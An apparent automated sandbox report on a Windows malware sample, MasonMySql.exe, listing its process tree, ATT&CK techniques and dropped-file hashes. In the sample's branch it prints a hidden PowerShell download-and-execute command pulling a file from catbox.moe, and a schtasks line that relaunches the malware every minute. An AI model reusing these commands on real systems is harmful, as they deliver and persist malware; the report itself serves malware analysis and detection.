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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f66741fa-76f9-4fb9-92f8-916971ee0c69 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-72102861-b022-4f50-babb-ad1bac6fb612 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-94864659-2d9e-4b1c-8e2a-6256365a7c9a -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a91f53b5-1f34-4f90-9862-15ed9694985f -LifetimeId:d84f674f-ecaa-4b29-bd06-8c3ccccff891 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1004
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1508 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3144
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C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
PID:1680
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C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
PID:5500
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C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
PID:4584
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C:\Users\Admin\AppData\Roaming\MasonMySql.exe"C:\Users\Admin\AppData\Roaming\MasonMySql.exe"2⤵
- Executes dropped EXE
PID:460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1516
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1764
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1792
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1908
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1136
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2088
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2140
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2356
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2868
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3184
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3308
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3380 -
C:\Users\Admin\AppData\Local\Temp\MasonMySql.exe"C:\Users\Admin\AppData\Local\Temp\MasonMySql.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Users\Admin\AppData\Local\Temp\MasonKit.com"C:\Users\Admin\AppData\Local\Temp\MasonKit.com"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Users\Admin\AppData\Local\Temp\MasonR.bat"C:\Users\Admin\AppData\Local\Temp\MasonR.bat"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4068
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonMySql" /tr "C:\Users\Admin\AppData\Roaming\MasonMySql.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3540
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3820
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4084
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:4204
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:5412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1628
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:1564
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5780
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:920
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2228
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3236
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca1⤵PID:1960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:5672
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C:\Users\Admin\AppData\Roaming\MasonMySql.exeC:\Users\Admin\AppData\Roaming\MasonMySql.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:5164
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe fd2f3468e20f2534d301780dbc0f2f69 nPwgoKTg4EuOSDtBRRyKLA.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:5788 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3572
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Enumerates system info in registry
PID:5532
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:2512
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonMySql.exe.log
- Size 654B
- SHA256 d39a78fabca39532fcb85ce908781a75132e1bd01cc50a3b290dd87127837d63
- MD5 11c6e74f0561678d2cf7fc075a6cc00c
- SHA1 535ee79ba978554abcb98c566235805e7ea18490
- SHA512 32c63d67bf512b42e7f57f71287b354200126cb417ef9d869c72e0b9388a7c2f5e3b61f303f1353baa1bf482d0f17e06e23c9f50b2f1babd4d958b6da19c40b0
- TLSH T136F0783432A2E1D5C9127F111C1D298452AF8386B6A0AF1C7A68935DD8261376F313F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MasonKit.com
- Size 606KB
- SHA256 83c839ff8e487d87992434bd395fb610ce6238c673c4e798724f2a34b6bb68d4
- MD5 cc08b88c7b9ef35411f7ad9b8952d390
- SHA1 315c2052a1d8eefc76df94b8fa7b52c037d2ea98
- SHA512 74c74b03f2c9d14bff1ddcd9259fa58405f7f6f0f50f09d240c131e4258be4046a745ef918861ec0ccc8f6533008473d71c9f1c43b6805b8fa8fec403a12ee24
- SSDEEP 12288:y5thgssuIMU/91zhsH6YIiQgpdfSpUmO28zsUNh1VUm3x4hAzDu:uhgssuhUz1IqkdfSpU5dn1h4hAzS
- TLSH T1F6D42349E3E954C8D227C3B10459F624E33886EF63E997A5750104FB6FEA79B8607B0C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MasonR.bat
- Size 592KB
- SHA256 8de8fd340cd8057899781e8796f36543092cdfa9028958102bd5fec9f2070447
- MD5 ae78843b23f7a1c65f6b9a5a031f1950
- SHA1 a12aad340d3eafb919d6cf38fad402f29b570ed0
- SHA512 648e6f7eeadf9d1ab2ba36311259a20f5b55c16a04a271fe7e7f3ee166e626aea6c6d97e9e5b4f8c9d1d997ab1444bcd1ff5dfa61bd9f1b988c58e30d40dc3b5
- SSDEEP 12288:jK6oSHxX1Yrpx/bdEU5lRM+QAYw5p2r7H1xMolRUQErVD7ATfuXLF4:jzoyWr/b2+DM+QA5zM7VxjlRUQeVDUr8
- TLSH T175D423691391F0AFE1D9953F3667030689305628AE83EBFA13ED48A67FF74D7094C684
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tu55ss3m.is3.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\MasonMySql.exe
- Size 85KB
- SHA256 da23b9aa136983e637c907eb89903b39ebd517e0dec2c04d7e418fa85945e7c4
- MD5 9612e6ec00375610c4cc0725dc4ab790
- SHA1 029cb9f7fc094722e7cb7a38e270093f8523631b
- SHA512 b85bd4153931cd101c40a0e17841761e5ded389541d5c493d7259801771c90538bc3781ec71fbfdbacb43a4eeb3af722dba3822b1d37fbb05b0b462e98844634
- SSDEEP 1536:TbfojIpD4r45qVhKz0Ig1cQ0u3nHyeG1jiEyqHLQeVRiOIwrXNqq:XiI+r4E80F50u3nHyeMcIoOIwIq
- TLSH T1A983F2A9B2D4A92EE1733B73CD7529F326B89ADD19A442F955CE73544318780CFE0610
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred
- Size 24B
- SHA256 d77b14bcd34aec8de2cf15b49c0e65ef90237cad9adc9cefced8bca84bea826c
- MD5 ccfe939c013b7f127a1d4ce7df7fb130
- SHA1 acc61c4a3f295c0af200a4a24ac3e87ae4ce4391
- SHA512 0392fc311960ec3664322d0825e4db70e2d8b22fd5bdf930aa0d3593dc0daf17934f9aa3680bbecc7dda32028bedb7d26cc5514a24b8a80dedfc0037ed093364
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
- Size 342B
- SHA256 c8e953633bb62ae8fb85f0806a34ab438624d9be6ec0815dd3f3e389b6937195
- MD5 14a142cabd651a2e023c4d276b618c45
- SHA1 35d6d2b5936cedd40dcbe89c3bcfacf1f033e3e9
- SHA512 160ae911e21f22a1b70bc7db27e9b5473a3844e47a158b405518a4fcf4882a847e74b7a331084450222e0ea7c644a880a5e1efe100d0ce1537c90c580c32eca2
- TLSH T1CAE08C113AA80214E7330A3D6873A5489A36B727AE52DACD0B39508D5E30F928936B19
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
- Size 412B
- SHA256 0913bb3030340e643353442ecb3814fccdc4e0e9b41dc8e8dfb131591d821ab0
- MD5 9c96cfea2cdd89e429d0537139183e14
- SHA1 50e0cb529ba1aa1f6e807a77fd1d8164488aebab
- SHA512 519efb5c0755d5cb953d9e0d7502329d34131fb350691e13d562b6ecfdb8c27c52b0083d52785f7233eafa124c95d5f1945231b3059ce5b8b05bc41c6834e759
- TLSH T1ECE0C01412FF502CF2F5D438C7E9E82145DDF02104A8F2B916F097047602600FC42D35
- MD5 SHA1 SHA512 TLSH